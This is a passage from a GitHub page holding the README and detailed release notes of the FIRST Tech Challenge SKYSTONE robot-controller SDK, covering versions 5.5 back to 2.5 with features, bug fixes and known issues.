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Dicklesworthstone
Quickly and securely turn your code projects into LLM prompts, all locally on your own machine!
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for 